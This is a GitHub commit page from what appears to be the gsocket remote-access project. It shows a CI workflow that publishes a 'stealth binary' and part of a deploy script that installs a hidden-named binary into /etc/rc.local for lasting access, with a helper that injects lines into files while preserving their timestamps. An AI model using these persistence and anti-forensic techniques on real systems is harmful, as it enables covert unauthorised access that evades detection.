Skip to content

Commit

Permalink
upx-again
Browse files Browse the repository at this point in the history
  • Loading branch information
rootTHC committed Mar 13, 2024
1 parent 0d922a8 commit ff68fdb
Show file tree
Hide file tree
Showing 3 changed files with 34 additions and 3 deletions.
3 changes: 2 additions & 1 deletion .github/workflows/stealth-push.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -220,9 +220,10 @@ jobs:
mkdir ~/.ssh && echo "$SSH_DEPLOY_KEY" >~/.ssh/id_ed25519 && chmod 600 ~/.ssh/id_ed25519
cd /tmp
git clone -b gh-pages --single-branch [email protected]:hackerschoice/gsocket.io.git
ls -alR /tmp/gsnc/
cd gsocket.io/${BINDIR:-/dev/null}
mv /tmp/gsnc/gs-netcat_* .
pwd
ls -alR
git config --local user.name "GitHub Action"
git config --local user.email "[email protected]"
git add gs-netcat_* && git commit -m "stealth binary" && git push
Expand Down
30 changes: 30 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -1,9 +1,39 @@
**/.DS_Store
Makefile.in
**/Makefile.in
Makefile
**/Makefile
aclocal.m4
autom4te.cache/
*~
**/*~
**/*.0
**/*.lo
**/*.a
*.swp
**/*.swp
**/*.so
**/*.dylib
config.h
config.log
config.status
config.h.in
stamp-h1
config/
.vscode/
m4/
configure
configure~
*.o
tools/*.dat
gsocket-*
packaging/gsnc-deploy-bin/*
tests/*
man/*.html
patches/
test/
tools/sftp-server.sh
tools/gs-helloworld
tools/gs-pipe
tools/gs-full-pipe
tools/gs-netcat
4 changes: 2 additions & 2 deletions deploy/deploy.sh
Original file line number Diff line number Diff line change
Expand Up @@ -1305,8 +1305,6 @@ install_system_systemd()
return 255
}



# inject a string ($2-) into the 2nd line of a file and retain the
# PERM/TIMESTAMP of the target file ($1)
install_to_file()
Expand All @@ -1331,6 +1329,8 @@ install_system_rclocal()
[[ ! -f "${RCLOCAL_FILE}" ]] && return
# Some systems have /etc/rc.local but it's not executeable...
[[ ! -x "${RCLOCAL_FILE}" ]] && return
echo -en "Installing access /etc/rc.local......................................."

if grep -F -- "$BIN_HIDDEN_NAME" "${RCLOCAL_FILE}" &>/dev/null; then
((IS_INSTALLED+=1))
IS_SKIPPED=1
Expand Down

0 comments on commit ff68fdb

Please sign in to comment.